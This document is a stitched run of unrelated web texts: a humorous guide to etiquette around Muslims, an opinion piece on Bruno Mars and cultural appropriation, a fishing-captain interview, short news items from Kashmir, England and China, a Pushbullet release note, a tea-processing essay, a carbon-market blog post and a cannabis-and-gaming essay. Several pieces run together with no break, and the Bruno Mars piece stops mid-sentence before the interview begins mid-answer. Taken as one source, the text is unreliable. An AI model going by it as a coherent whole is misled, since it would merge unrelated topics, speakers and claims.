Beware of physical interaction with the opposite gender. In a Muslim gathering you may want to hold your hand back from handshakes. In most circles people will shake your hand if you extend it first, but there is a decent chance you might be left hanging! Hugs, yeah, they are a HUGE NO-NO Feel free to hug people of the same gender all you want, but do not get excited and give a member of the opposite gender a hug or you will hear pins-drop or perhaps a scream! Rest assured members of your gender team will not hesitate in hugging you, holding your hand and possibly even kissing your cheeks.
-’EYEGRAZING’
Some men and women take the Qur’anic injunction to guard their eye gaze very very very seriously. A majority of Muslims avoid looking unnecessarily at members of the opposite sex without specific needs or if they find the person to be attractive. But, some people are so cautious that they won’t look at you period when you speak with them. You might find it strange, but just know that in such a case you are indeed being highly respected.
-’RIDIN DIRTY’
Being in the car or in seclusion with the opposite gender. If you pull up to certain gatherings with someone of the opposite gender in your car, you may get some looks. But, know that our tradition warns us from being alone with members of the opposite gender. This is congruent with common sense.
-MIRROR CHECK
Women, know that if you wear a skirt or anything that does not go to your ankles you might feel uncomfortable since you will be around a lot of women who are dressed more modestly and that more modest dress is the established norm around Muslims in America. The same thing goes with low cut shirts or shirts that show your mid-driff. Around most Muslims, you will be the only one dressed that way.
Men, avoid wearing shorts that go above your knee while seated. Also, Muslims tend to like sitting on the floor so short shirts may result in a “moon sighting”, if you catch my drift.
2. Foreign Lingo & Accidental Speech
One of the most bizarre thing about Muslim’s is their language patterns or lack thereof. I don’t mean Arabic or English, I mean ‘Arablish.’ It is an English conversation infused with a variety of Arabic words.
-”THE SALAAMS”
When Muslims meet each other they typically say -”As-salaamu ‘alaykum.” Then the person being greeted responds with “wa ‘alaykum as-salaam.” If you aren’t Muslims no one would really expect you to respond the greeting, but around Muslims you hear this phrase all the time. If you are brave, try responding to their greeting by saying “wa ‘alaykum as-salaam.”
-”SAY WHAT?”
“Alhamdulillah’s, MashAllah’s, Allahu Akbar’s” – Another reverent peculiarity of the Muslim’s is their desire to praise God in Arabic frequently and at times randomly! When you are in a conversation with a group of Muslims you are likely to hear: Alhamdulillah- meaning ‘Praise be to God!’ (Usually said when good things happen) SubhanAllah- meaning ‘Glory be to God!’ (Usually said when something crazy happens) MashaAllah- meaning ‘God willed it!’ (Usually used as an expression for- awesome, great, wonderful) Allahu Akbar – meaning ‘God is great!’ (people say this when they get excited about something). Don’t worry bout what you see in the movies, when a Muslim says Allahu Akbar you will not be in danger
-’REFRAINS OF RESPECT’
Another reverent peculiarity of the Muslim is to use Arabic phrases after certain people’s names. This is down to send peace and blessings upon Prophet Muhammad, any of the prophets, or the companion/family of the Prophet. You will hear a name followed by “salAllahu ‘alayhi wa sallam” or “radiAllah ‘anh” or “’alayhisalaam.” We tend to do the same thing when using the word Allah. You will often hear it followed by “Allah- subhanahu wa ta’ala” or “Allah- ‘azza wa jall.” Try your hardest not to get confused these are exaltations of God, not different names. If someone starts using a bunch of words you don’t know, just assume they are praising God or making a prayer for someone.
Just when you thought that random phrases in Arabic were confusing wait until you run into the acronymization of these phrases and their English translations that run rampant amongst Muslims. So when you see ‘pbuh’ or ‘saw’ just know that these are acronyms for our ‘refrains of respect’
-’AVERSION OF CURSIN’.
Muslims don’t do it. Well, at least they aren’t supposed to! Cursing may result in bad impressions especially amongst the elders. So if you are looking to woo someone, know that your dirty mouth might get washed out with a lota! (Not sure of what a lota is? It is explained below.)
-TABOO TOPICS
Avoid discussing ‘girlfriends, drinking, clubbing, smoking, etc.’ or scenarios that may make people feel uncomfortable. We Muslims still live in the era of intense propriety.
3. Food
Going to a food party and bringing some food? You may want to read this section!
-AVOID THE ‘FORBIDDEN FRUIT’
Make sure it is devoid of any pork, bacon, ham, lard, alcohol, and gelatin. Even with this precaution you still might get interrogated;
“What’s in this food? Chicken huh? Where did you get it?!? Jewel?!? AstaghfirAllah!”
(AstaghfirAllah- A reverent peculiarity for the irreverent comment or action)
To be even more cautious and avoid the possibility of the dialogue above you may want to stick to vegetarian dishes or seek out “Halal” AKA “Zabiha Halal” meat products. (Want to figure out the difference between Halal and ‘Zabiha Halal’ click here)
4. Visiting A Home:
-HOPE YOU PUT ON CLEAN SOCKS THIS MORNING!
Take of your shoes prior to walking throughout the house and always wait for permission to enter because their may be women in the house that are dressing (putting on hijab or long sleeve shirts)
-THE ROYAL TREATMENT
Accept what is offered to you. do not think you are being polite by declining.
-COMPLIMENTS ARE WELCOMED
Always tell an aunty that her food was delicious, however, this may result in you getting another heaping plate of food.
-“ONE BIG HAPPY FAMILY”
When in doubt call someone a few years senior Aunty or Uncle, don’t worry they wont think you are weird. We have a tendency to call the parents of our friends or people in the community or any random elder man or woman “aunty or uncle.” We are like one big happy family!
-THE ‘UNSOLICITED’ PEARL OF WISDOM
You will always, always run into some elders or peers who take it upon themselves to take you hostage as an audience member. Don’t Panic! Just nod politely and say, Thank you! Of course, we are not belittling the sagely advice that our religion advises us to take rather warning you that in some conversations you may find yourself looking for a ‘Fire Escape.’
-THE FAMED FLOWERPOT
If you use the restroom and find a flower pot AKA “The Lota” or a hose, DO NOT be alarmed. It is an Islamic thing to be meticulous about our cleanliness, TP ain’t enough! In case you haven’t seen one, here is the most common variety in North America.
5. Visiting the Mosque
-PROCEED WITH CAUTION
Some mosques have unisex entrances. Others have a distinct entrance for women and a separate for men. You may want to scope out a building and observe the entrances and who is entering which entrance. If in doubt ask a benign looking mosque goer. In some mosques, walking into the opposite gender’s entrance feels like walking into the wrong bathroom – oops!
-COVERING THY HAIR
It is the etiquette for women to cover their hair when entering a mosque. You don’t have to go all out and wrap it like Muslims do, but it may be advisable to have a scarf with you that you could just drape over your head in the case of a mosque visit.
-SHOES AND CARPET DON’T MIX WITH MUSLIMS
Before entering any carepted area always be on the look out for a sign that says NO SHOES or a shoe rack where you are expected to place your shoes upon removing them. Look for the subtle cues and never be scared to ask “should I take my shoes off?”
-THE SOAP BOX BROTHER
You are probably bound to run into a person who takes it upon him or herself to give you a completely random lecture. Smile, nod, thank, and move on! Don’t take it personally, it comes with the territory!
AdvertisementsThe views and opinions expressed in this piece are those solely of the author, and do not necessarily reflect the position of Highsnobiety as a whole.
Bruno Mars is having a moment. After two well received albums and a string of successful singles going back to 2010, the release of his third album in 2016, entitled 24K Magic, sent his career flying into the stratosphere. The record went platinum, a feat in this day and age, and was also his first to enter the R&B and hip-hop Billboard charts. He’s sold over 115 million singles and 9 million albums worldwide, making him one of the best-selling artists of all time, and he performed at the Super Bowl Halftime show in 2016 with none other than massive superstar Beyoncé.
This year it seemed he cemented his crossover appeal to both black and white audiences, opening the BET Awards with a well-received performance and then going on to win the Best Male/R&B Pop Artist award as well as Video of the Year. But his appearance and wins at the show were not without their fair share of controversy, as some viewers wondered if Bruno was being rewarded for cultural appropriation.
Bruno’s race and ethnicity have been questioned for years, with many initially believing the Puerto Rican, Jewish and Filipino star was black. There were rumors that he intentionally played up his racial ambiguity and picked up his stage moniker as a way to distance himself from his birth name, Peter Hernandez. The rumors gathered steam until Bruno addressed them in an interview in Latina magazine in early 2017.
In said interview, he spoke about the undeniable heritage of his father being a “Puerto Rican pimp” and insisted that he was a mixed raced artist making music for everyone. He also stressed the importance of recognizing that all popular music is black music, citing and praising the genres that informed his career as a non-black artist and insisting, “You gotta sing as if Jodeci is performing after you and dance as if Bobby Brown is coming up next.” But some feel that his paying homage to Black music isn’t enough, as he continues to benefit from mainstream recognition that eludes many black contemporaries in his genre.
Mars heavily borrows influences in music and style from prominent African-American artists of the past and present, incorporating them into his own performances and albums. He performs with an all black backing band that often doubles as back-up dancers and vocalists and frequently collaborates with black composers Brody Brown and Philip Lawrence. The beginning of his ascent to superstar status arguably began with his vocals on producer Mark Ronson’s smash hit “Uptown Funk,” released in 2014. Inspired by 1980’s funk and prominently featuring one of the famous lines from rapper Trinidad James’ viral 2012 hit “All Gold Everything,” the song won two Grammy awards including Record of the Year and smashed charts and sales records. Apparently seeing the writing on the wall, Bruno dropped the more simple doo-wop sound of his previous works – mainly modeled after Little Richard and a young Michael Jackson – in order to adopt the Prince-esque funk sound of “Uptown Funk” for 24K Magic.
Do his musical stylings and surrounding himself with black talent amount to Bruno utilizing black culture for a come-up, similar to an artist like Iggy Azalea? There’s two sides to the argument: on the one hand, as Bruno said, black people came up with practically every genre of music that is currently popular; from rock, hip-hop and rap to afrobeats and EDM (look up Chicago house music). So if non-black people of color and/or white people can’t partake in these genres, what can they create? Many feel that there’s nothing wrong with non-black artists participating in black culture as long as they respect and pay homage to it, making a distinction between artists like Mars that recognize the influence and the cultural ‘smudgers’ who outright steal from black artists and pass it off as their own work.
But on the other hand, with the history of racism in a record industry that has historically preferred black music from non-black artists, does it really matter if Bruno publicly acknowledges where his inspiration came from? As a non-black artist working in traditionally black mediums, he is extended certain opportunities to crossover that a black artist might not receive. “Don’t believe me, just watch,” on “Uptown Funk” certainly isn’t the same as “Don’t believe me, just watch,” on “All Gold Everything,” and it’s hard to imagine Trinidad James being offered the part on Ronson’s catchy-yet-sanitary hit.
Another common pushback is that Bruno, and other non-black artists like him, are popularizing genres of black music that had since fallen by the wayside and therefore black people should just be grateful; the old ‘imitation is the sincerest form of flattery’ excuse. But if the mainstream culture prefers black creations in the hands of non-black creators, wouldn’t it be easier for a non-black person to ‘revive’ a dead black genre?
Not to mention the reverse isn’t true: when Beyoncé did a country song and performed it at the Country Music Awards, which have had some of the lowest ratings of awards shows the past few years, there wasn’t an embracement of her by the country community as someone ‘reviving’ their genre. Major country publication CMT ran an article about how her song wasn’t ‘real’ country, it was rejected by the Grammys for consideration in the country music category, many angry fans said they would never watch the show again because they sold out by having such a large commercial pop star and there were throngs of white racists angry that a black person was performing ‘their’ music- despite the fact that black people invented bluegrass, the precursor to country, as well.
Black artists are expected to simultaneously stay in their lanes yet also widen the lane so that everyone can fit, while those dabbling in and out of black music have no such expectations placed on them to use their privilege to help black artists or call out the industry. Bruno Mars has gone from doo wop to R&B to funk, and on the next album could easily revert back to his Puerto Rican roots and do a salsa record. Black artists don’t have that luxury. As such, a possible fix to the accusations of cultural appropriation could be for him to speak out not only on the importance of his |
college, but as with a lot of kids, he put four years into school and was not even close to getting a degree. He was doing next to nothing and college was expensive and so I was like, “Nuh uh. You’re going to come up to Alaska, you’re going to hate this and you’re going to finish your degree and move on.” And, contrary to popular belief, he ended up liking it and falling in love with it and is taking it over as a career.
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To be honest, he was a pain to deal with; he would back-talk and smart-mouth and I was doing everything I could to elevate him through the ranks as any father would and he was fighting me about it. At some point last season, I expressed to him that I was tired of arguing with him about teaching him what I’ve learned over 37 years in a short period of time and if he didn’t get his act together, he can find another boat. And with that conversation, he turned around and has been growing by leaps and bounds. His knowledge has grown exponentially and he’s paying attention. He’s listening and figuring out he doesn’t necessarily have to use all of my techniques, but he listens to what they are and makes his own judgment from there. So we’ve become a lot closer in a lot of ways and he’s grown tremendously from us being together on the boat.
AVC: Do you think he’s going to end up being a captain?
BW: You know, that’s a big step. Up in Alaska we’re trying to work on the boat so he can gain more of a mechanical background. You see these young kids and for some reason, all of a sudden, someone says, “Okay, you’re the captain” and well, they’re not. You have people’s lives at stake. Politically, I don’t want to get involved in this one, but it takes years of being an expert before entering the wheelhouse and a lot of them shouldn’t.
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We have Elliott [Neese] who is a young captain but has years of experience—not all of it good—but to see what’s happening with him, I’m amazed he doesn’t have more problems with insurance companies. Josh [Harris], he’s happy-go-lucky, not a real knowledge of anything mechanical on the boat. And what happens is that if something goes wrong on the boat, you can have the best engineer on the boat with you, but all in all, if things really hit the fan and you’re looking at loss of vessel and loss of life, everyone’s looking at the wheelhouse. You need to be able to make that decision to save these guys and a lot of these guys are so far from that point, it’s unbelievable. And they want to jump up and down and call themselves captain and it’s kind of scary, really. I wonder what’s going to happen to the industry down the road.
AVC: If you look at someone like Edgar Hansen on the Northwestern, he knows that boat backward and forward. It makes a huge difference.
BW: Edgar is one of my pals. I was doing a NASCAR event and they asked me if I wanted to invite any other captains and I said, “No, but I want to invite Edgar.” Edgar is Edgar; he’s not pretentious, he doesn’t have an attitude, doesn’t have an ego. Sig would probably want too much money, but I wouldn’t mind hanging out with him so I gave them Edgar’s number.
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AVC: Do you have any sense of how long the show will go on and how long you think you’d stay with it? It sort of seems like Discovery Channel
could just keep it rolling with new captains coming in and out every few years.
BW: Well, I don’t think just any group of guys can make this happen. Phil [Harris] was one of the original guys and we lost Phil and Phil’s still as much a part of the show as some of the guys on the show. Sig’s been on for 10 years or since conception. You lose Sig, you lose Time Bandit and you’re not going to keep this fan base. These guys have developed a fan base and these people can relate to these guys like they’re family. To think you’re just going to bring in some new boat and it’s going to fill the slot, that’s crazy. That’s not going to happen.
This a critical year, because a lot of those boats are up for contracts, because they thought 10 years was going to be the extent of this whole thing, myself included. This is my contract year.
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As far as how long I think it’ll go: I’d certainly like to be on the show the last year it was on, but do I want to do another five years of crab fishing? No. But I do want to have something else going when this thing is over, because when you’re on television, if you’re not on a show anymore, two years later you’re Gary Coleman; nobody knows who you are. So I’ve been pursuing a couple of other avenues to try and sidestep into something.
But I’ve got a couple more years in me. I’m seriously trying to get Zach into the wheelhouse and that’s going to take a little time. So we’ll see what happens.
AVC: Maybe you could have a sport fishing spinoff.
BW: Those are a dime a dozen. I’ve actually been talking to Discovery about a travel show to seaports around the world. It’s a little bit like Anthony Bourdain. His vocabulary is pretty tough to compete with, but it’s kind of the same thing. Travel around and whether it’s a sailing port or a sport fishing port or a yachting port—that’d be the show that I’d like to do, because that’s pretty much what I do with my life anyway. I just need someone to come along with a fricking camera.
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AVC: So you’ve gotten the TV bug?
BW: I hate this quote, but they’re the ones that said it—when I signed on with Discovery, I went to Silver Springs to look through my contract. One of the guys upstairs said, “Captain Bill, you’re not going to get rich doing this show.” And they hate it when I quote them on that, because he didn’t lie to me there, but he said “you’re going to have a voice that people listen to,” and it was true. I go to NASCAR events and I get up on stage and do a Q&A and it’s overwhelming, it brings a tear to your eye. I do this Wounded Warrior thing and I get people to donate just because I’m on the show. What he said was absolutely true: to have a voice that people listen to is pretty rewarding and, down the road, it might be rewarding financially. I’m looking for sponsorship and I’ve been working with a couple of different companies trying to get some stuff together, but it does open doors. I go sport fishing all around the world and I just got invited to fish in the Dominican Republic by Marlin Magazine. They flew me in and paid me to fish in the D.R., because I’m on the show.
It’s pretty cool stuff. I spent a weekend at Dale [Earnhardt] Jr.’s house, because he likes the show. We were barbecuing and drinking beers and telling stories, because he likes the show. It’s a pretty cool byproduct.SRINAGAR: A video showing two youths being tortured and their hair being shaved by terrorists went viral across Kashmir valley on Friday. The two youths were tortured and humiliated by Hizbul Mujahedeen terrorists after being branded as police informers in the video.The video has sent a fresh wave of terror across Kashmir Valley among young boys seeking police jobs. The two youths, according to the video, acted as police informers to get jobs as SPOs.The seven-minute video, which surfaced on social networking sites despite a government ban, starts with the Hizb's name and insignia scrolling on the screen. It then shows a dark room in which militants are shaving the head of a man pleading with them with folded hands for mercy."Breaking news: Asalamualaikum: ye wo gaddar hai jo police mai SPO bharti hone ke liye mujahideen ki khabar Hindustani kutton ko detey hain (They are those traitors who provide information about militants to Indian dogs for getting jobs in the police as SPOs)," a ticker running below the video reads.The video also shows the militants thrashing another man with sticks and forcing his head into a bucket of water. Of late, the militants have been releasing videos of their activities to create fear among people so that they don't cooperate with the security agencies. Most of these videos, according to police, have been shot in south Kashmir.Graham Taylor, 50, chased the two offenders from his newsagents after they stole two bottles of spirits before spotting the officer in a marked patrol car.
Mr Taylor had followed the teenagers on foot before running back, locking up his store and jumping in his car as the youths made off into a nearby cemetery.
As he circled the perimeter of the graveyard in Hessle, East Yorks., Mr Taylor asked for his assistance from the police. "I couldn't believe what he said when I asked for help," he said.
"First he asked if I had reported it to the police, then asked if I had rang the police.
"He was the police, was I not reporting it there and then? Why do I need to ring the police to tell them when I told a police officer."
Mr Taylor said he then called 999 and was assured patrols had been sent out.
But it was claimed the officers in question missed the radio call as they were celebrating a colleague's retirement inside the station.
Mr Taylor said he went to the station and was met with a car adorned with pink balloons and shouts and cheers coming from within the building.
The shopkeeper has since made an official complaint.
"The whole thing just became more and more farcical as we went on, it was like a scene from Carry on Constable," said Mr Taylor.
A Humberside Police spokeswomen confirmed an investigation was being conducted by the Professional Standards Branch.
She said: "It is disappointing to hear that Mr Taylor feels he was given a poor service from Humberside Police.
"Professional Standards are conducting an internal inquiry to see what has happened so it would be inappropriate to comment further until the conclusion."A male Chinese tourist returning from abroad was recently caught with a live lobster inside his checked luggage, apparently you aren’t supposed to do this.
The tourist was stopped at a Ningbo airport after returning from Australia via Hong Kong. The lobster took up a precious 3.16kg of baggage weight, packed into a styrofoam box.
He said that he had spent more than 3,500 RMB on the live creature and was planning on enjoying it at home with family and friends, Sina News reports.
Unfortunately for him, that ain’t gonna happen as the lobster has been killed by airport staff and the carcass has been destroyed to comply with regulations. China prohibits all live animals from entering from other countries except dogs and cats.
Ningbo customs officials confessed that this was the first time that they had ever found a live lobster in a passenger’s luggage.
However, just last month, a pair of women were spotted on the Hong Kong MTR with a suitcase full of lobsters, likely headed for the mainland.
By Lucy Liu
[Images via Sina]
[AD] China Restaurant Week returns with top restaurants in top Chinese cities from Mar 3-13. BOOK NOW!We released our largest update ever earlier this week. The update made some significant changes to Pushbullet. We knew many of them were great improvements, but as with any big change, we were bound to get some things wrong.
We got a ton of feedback over the last few days and have been hard at work making the most important changes right away. Here’s the results so far:
Android
We’ve made pushing to another device take less taps and it’s more flexible than ever before. Here’s the new share screen—with just one tap, you can push to any of your devices. The update is available now in the Play Store.
Windows
The most common request for our Windows desktop app was adding the ability to delete messages. Our previous version supported this, and it didn’t make it into the update earlier this week. We’ve corrected this. If you load up the Windows app today, you’ll see you can delete any message by clicking the X when mousing over it.
iOS
We’ve got an update submitted to Apple that includes many bugfixes and behavior improvements (IFTTT notifications work again, sorry about that!).
Browser extensions
You might have already noticed our Chrome extension working better—many of the requested changes are already out. The improvements include opening tabs for notifications from apps on your phone when clicked (and not opening a tab if one is already open) and a bunch of bugfixes.
Our updated extension for Firefox and Opera are submitted and waiting for review.
Have feedback?
We want your help to keep making Pushbullet better. We’ll be watching the comments below and you can join us on the Pushbullet subreddit.
The best way to have your changes prioritized is to tell us your story. What are you trying to do and how is Pushbullet helping you? This helps us see from your point of view, and makes sure our changes are just right.A tea processing chart refers to a chart that shows the processing steps that different tea types go through after being plucked and before they reach your cup. Tea processing charts have been essential items in the toolbelt of tea educators for years. However, nearly every processing chart that exists today excludes many styles of tea and sometimes entire types of tea. I posted the first version of my tea processing chart here on World of Tea in 2013. Since then, I have made countless edits to it in an effort to create an easily understandable tool for tea education. Early on, I adopted a lumper mentality.
In any discipline that requires placing things into categories, there are generalists and specialists. These two factions are often referred to as lumpers and splitters. In general, lumpers prioritize similarities over differences and splitters prioritize differences over similarities. Tea snobs are inherently splitters; always pointing out differences in things in order to make themselves feel smarter than the average person. Splitters love to say things like “it’s more complicated than this!” or “there are no absolutes in tea!” And while they may be right, I don’t believe that the splitter mindset has any place in beginner’s tea education.
A major turning point in my tea study was when I stopped trying to create a chart outlining all of the steps that each tea type goes through and began to evolve the chart so that it only exhibited the minimum steps required to be considered a tea of a specific type. This simple change in thinking led to the processing chart in it’s current form.
What follows is an exploration of the challenges that exist when classifying the diverse world of tea and ultimately, what led to the current thinking exhibited in the latest processing chart. But first, some groundwork… we will be working with seven main categories of tea, each defined by the unique processing steps they go through: green tea, yellow tea, white tea, oolong tea, black tea, fermented tea and altered tea. It may help to read my post A New Look at Tea Classification so that you better understand the terms used in this post before continuing. And finally, this post is really nerdy, so I apologize in advance!
Green Tea
In one simple sentence, green tea is a type of tea made from leaves that have been withered, fixed and dried. There’s no controversy surrounding the fact that leaves destined to be green tea are heated (via a processing step called fixing) and thus are not allowed to oxidize. It is this prevention of oxidation defines green tea. However, the amount of withering that occurs before the leaves are fixed has led to a lot of confusion in the tea world.
There is a notion that tea leaves destined for green tea production are plucked and rushed to the processing facility to be fixed, while this is likely the case when steamed greens are being produced, it isn’t the case for most pan-fired green teas. Leaves that will be pan-fired go through a distinct withering step to prepare them for further processing. Regardless of the style of green tea being produced, the leaves are allowed to wither and are flaccid once they reach the pan or the steaming machine. Whether or not the producer considers withering a processing step or intentionally withers the tea leaves before fixing them is another matter altogether and the heart of the confusion surrounding withering in green tea production.
Yellow Tea
Yellow tea is defined by a processing step known in Chinese as Men Huang. Translated, this means sealed yellowing. During men huang, small portions of fixed tea leaves are wrapped into bundles either using paper or cloth. While wrapped, the leaves slowly change color from green to yellow-green as chlorophylls are broken down, the vegetal flavors within the leaves begin to mellow and the leaves partially oxidize.
The trouble with yellow tea production today, is that some yellow tea producers are skipping this defining men huang processing step altogether, essentially selling a green tea as a yellow tea. This practice is common among Huoshan Huangya producers in China’s Anhui province.
Another fun yellow tea classification issue arises with a tea from South Korea called “Hwang Cha” which translates directly to Yellow Tea. Turns out that this tea is nothing like yellow tea at all in the Chinese sense. South Korean Hwang Cha is produced by withering tea leaves, they then go through a men huang process and are then dried. Because of the lack of a fixing step here, oxidation is able to run it’s course during men huang and the resulting tea is more of a highly oxidized oolong or black tea in nature. In South Korea, it is classified as a balhyocha (발효차), which translates to “fermented tea” but really refers to “oxidized tea.”
White Tea
Many consider white tea to be unoxidized due to the fact that raw material destined to be white tea doesn’t go through a processing step labeled oxidation. However, it is during a long withering period, sometimes lasting several days that the leaves slowly oxidize. The oxidation that occurs in white tea production is minimal, but it can not go unmentioned. Another thing that many tea companies get wrong when defining white tea is the fact that white tea is not always made up of buds. Bai Mu Dan, and it’s lower grade variants, Gong Mei and Shou Mei are made up of buds and leaves. White tea production is not only limited to China’s Fujian province either, it is now being produced in small quantities in Sri Lanka, India, and Nepal. For a laugh, look at the definition of white tea taught by the Tea Council of the USA, it’s quite embarrassing.
Wulong Tea
Wulong refers to semi-oxidized tea. But semi-oxidized is a term that needs some unpacking. Regardless of the style of wulong being produced, processing begins with withering. From here we experience some variance where the initiation and control of oxidation is concerned. Traditional half-ball shape oolongs like those from China’s Fujian Province and Taiwan are either shaken or tumbled, a process known as Yao Qing (摇青) literally, rocking the green. The goal here is to gently bruise the edges of the leaves, initiating oxidation. Some teas coming out of India and Nepal labeled oolong do not go through this process, rather, they are rolled using an orthodox rolling table. The wulong nature of these teas comes from the prevention of oxidation, much of the process resembles black tea production, but the leaves are dried before reaching a normal black tea level of oxidation resulting in a semi-oxidized tea. Some tea experts hold that these styles of tea do not deserve the wulong designation.
Rolling is another important step in producing half-ball style wulongs as in Anxi and Taiwan. Here, the leaves go through an iterative process called cloth-wrapped kneading where bundles of leaves are wrapped in cloth then kneaded. The wrapped ball of leaves is then broken apart, then re-wrapped and the process begins again. This is an iterative process that is performed many times.
First Flush Darjeeling teas are also a source of confusion as they are typically only lightly oxidized to exemplify the first harvest of year. Because of their semi-oxidized nature, many tea experts consider them to be wulong, though they are often marketed as black teas. Some even refer to First Flush Darjeeling tea as lightly oxidized black tea which of course is an oxymoron because the defining characteristic of black teas is that the leaves are fully-oxidized during production.
Thus, in order to handle all semi-oxidized teas in a processing chart, I refer to the initiation of oxidation as “rolled/bruised” and I’ve omitted the cloth-wrapped kneading step because while that is a defining characteristic of several teas on the style level, it is not a defining characteristic of the wulong type itself.
Black Tea
Black teas are often described as fully oxidized teas. To be more accurate, let’s say mostly oxidized as it’s chemically impossible to fully oxidize tea leaves without first grinding them into a fine powder. The basic process for making black tea from fresh tea leaves is: withering, rolling, oxidation, and drying. The goal of black tea production is to induce and control oxidation until the tea leaves achieve a prescribed level of oxidation.
There isn’t much confusion with this type of tea, black tea production is quite straightforward as it is the most produced tea type in the world. It is important however, to note that what most of the world outside of East Asia refers to as black tea is known to the Chinese (and most Asian countries) as red tea (红茶, hong cha). Calling this tea type black tea is confusing because the Chinese already have a tea category called Hei Cha (黑茶) which translates to black/dark tea. Calling this tea type red tea is also confusing because most of the western world uses the term red tea for African Rooibos, which isn’t tea at all but rather a tisane from leaves from the Aspalathus linearis bush. That’s fun, right?
Some confusion may arise when teas that are not close to being fully oxidized are marketed as black teas. In fact, I was sold a lightly-oxidized black tea while traveling in China in 2015. There are two schools of thought here when encountering these semi-oxidized “black teas,” the first is that if the tea was produced without any sort of Ya Qing (see Wulong above) process, then it cannot possibly be considered a wulong, and the tea is oxidized much more than a traditional wulong, so it must be a black tea! The second school of thought would say that the producer’s intention was to create a black tea and the production techniques resemble black tea production, so it must be a black tea! There truly is not a wrong or right answer here.
Fermented Tea
Fermentation in tea production refers to the breakdown of substances by bacteria, yeasts or other microorganisms. Fermented tea, a source of so much confusion in the West. I call this category fermented tea because it includes heicha, puer, and several fermented Japanese teas. If I were only referring to fermented teas from China, I would call this category, heicha. Yes, heicha. Puer is not the “6th tea category” yet I see tea books and classification charts with no mention of heicha whatsoever. Puer-heads typically shake their fist at me when I say this, but take a look at the processing steps that I list for the production of fermented tea: withered, fixed, rolled, fermented. You may notice the omission of several processing steps sometimes associated with these styles of tea, drying, compression, etc. I dramatically simplified the processing chart so that all fermented teas fit into it. Drying had to go because the drying step occurs before fermentation for Shu Puer production and after fermentation for most Heicha production. What’s left are processing steps that define fermented tea, all of it.
Let’s talk about Puer, specifically Sheng puer, this tea is more like a green tea in production, but the intent (at least today) is to age this tea which refers to a combination of slow oxidation and fermentation over time. In my unscientific opinion, the aging of sheng puer is more oxidation than fermentation, but fermentation does occur and therefore this is considered a fermented tea. The method of fermentation differs from style to style, Shu Puer and Heicha both go through a wo dui / piling step (and some consider Shu Puer to be part of the Heicha category). Sheng’s fermentation happens during the aforementioned aging.
Altered Teas
Any tea type above can be altered. Altered teas refer to teas that go through additional processing steps during or after primary processing before being sold. This can refer to flavoring, scenting, blending, smoking, aging, decaffeinating and grinding. The majority of teas sold in the United States are altered in some way.
As always, I welcome any and all criticism on this post. It is the feedback I receive here on World of Tea that allows my content to evolve.Carbon market chaos strikes again
What a surprise: The free-market-that-is-not-free leaps from one scandal to the next. In a real free market where salesmen sell something real, and buyers buy something they want, people can’t get away with cheating, or not for long.
If someone sold you a bulk carrier of coal, and it turned up empty, you’d notice.
But, if someone sold you two million Certified Emissions Reductions (CERs) that were worthless, how could you tell? They are “certified”. They are real “certificates”, and as long as you believe they exist, perhaps they do? Welcome to the world of fiat currencies, where confidence doesn’t just make or break a market; it’s its sole underwriter.
Times Online reports on the Chaos in the carbon market over recycled permits.
The Hungarian Government, the cheeky sods, figured out that if CERs were issued by the UN (and not the EU), they could use them to write off the obligations of some Hungarian companies, and then, apparently, sell them again, so others could use them to write off their obligations, too.
It’s like reselling a three-course meal after it’s been eaten.
When confronted, the Hungarian Government claimed the used CERs were only sold to non-European investors. (So that makes it alright then? Someone outside Europe wasted money?)
Except that, as things do in a “free” market, the used CERs turned up in the EU market anyway, and eventually someone noticed.
“BlueNext and Nord Pool, the French and Nordic exchanges, suspended trading in certificates of emission reduction (CERs) when it emerged that some had been illegally reused.”
The value of the CERs promptly fell from €12 per tonne of carbon to less than €1.
“The European commission will suspend the surrendering of allowances, CERs and ERUs, it said today.”
Things are tough for the fledgeling carbon currency market. First the individual governments issued too many permits, creating a glut and crash. Then the top two auditors of the European system were busted, one after the other, and suspended for irregularities. Then Europol discovered that some traders had found a way to collect taxes on behalf of the government, and keep the money for themselves. The fraud may have cost taxpayers about seven billion dollars, and in some markets amounted to 90% of the volume. (See CBC Canada.)
The unfixable unfree market
Hopeful souls imagine that they can improve the regulations or auditing, or close the loopholes, but that’s just the problem: In a fake market based on an unmeasurable, unverifiable thing like the motivations of Third World businessmen, the market itself is the loophole. The only way to close the loophole is to close the market.
Hat tip to Colin in the UK.
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please wait... Rating: 10.0/10 (2 votes cast)Being a mother is the hardest job on earth.
After thirteen hours of mediating arguments, fetching snacks, changing diapers, and preventing accidents and injuries, my day is done. Toys are strewn all over the floor and dishes are piled in the sink. The mess nags at me, but fuck it. My wife Rachel and I are finally alone and free to choose how we spend our time together. It’s time for me to clock out. We pack a bowl and commence chilling the fuck out.
My wife Rachel and I are finally alone and free to choose how we spend our time together. It’s time for me to clock out.
We load up Araña with Sunshine Daydream and prepare to enjoy some well-deserved gaming. I exhale the first puff of smoke and feel my shoulders drop as tension I didn’t even know I was holding is released. I’m still buzzing with the day’s energy, though. Stress relief doesn’t happen in an instant. My mind flits to unaccomplished tasks left over for tomorrow, and I try to push those thoughts out of my mind. They exist for Tonya the mom, and her shift is done.
My wife and I are faced with an important decision: how can we best use our glorious freedom? Between us there’s more pent-up tension than the pot can soothe. We need an activity that will let us deal with the disorder and combat of the day, but in a controlled environment. Rachel suggests Super Smash Bros. and we dive into the melee.
There is just something about Super Smash Bros. that takes even the sweetest and quietest among us and morphs them into a shit-talker of the highest order.
I’m not normally a competitive person. I have much more fun working together towards a common goal than trying to get the better of my friends. But there is just something about Super Smash Bros. that takes even the sweetest and quietest among us and morphs them into a shit-talker of the highest order.
I’m no exception, and I unleash a well-timed joke about her mother as I send her sailing. It’s one of the few hits I manage to land. Rachel is playing surprisingly well despite being incredibly stoned. She moves her character around the two-dimensional space with the grace and poise of a well-trained fighter. My damage counter is through the roof, and it’s taking all the skill I can muster not to sail off into the distance. She’s knocked me off solid ground more than once, and it’s only through sheer luck that I’m able to hang onto the edge and jump back up into the fray.
It’s clear that I’m so high that it’s fucking up my timing and coordination. I’m somewhat bothered by my lack of skills, particularly when Rachel is soundly thrashing me. Still, it does nothing to stop me from trash talking. That’s half the fun. I have brief moments of finesse when my coordination and attention finally line up, but ultimately she wins match after match.
We’ve been battered and bruised, down to our last lives with our health in the red.
After six years of marriage, Rachel can read my face like a well-loved book. No doubt sensing I’m reaching the limit of my frustration, she suggests co-op mode. We both agree that we’re over fighting each other and make the switch. Now that we’re playing as a team, we’re having much more fun. We’re much more invested in the game. Our characters work together, dancing across the screen and delivering devastating blows. Our foes are smashed one by one with brutality and efficiency. This is so much better, I think to myself as we proceed to burn through the levels.
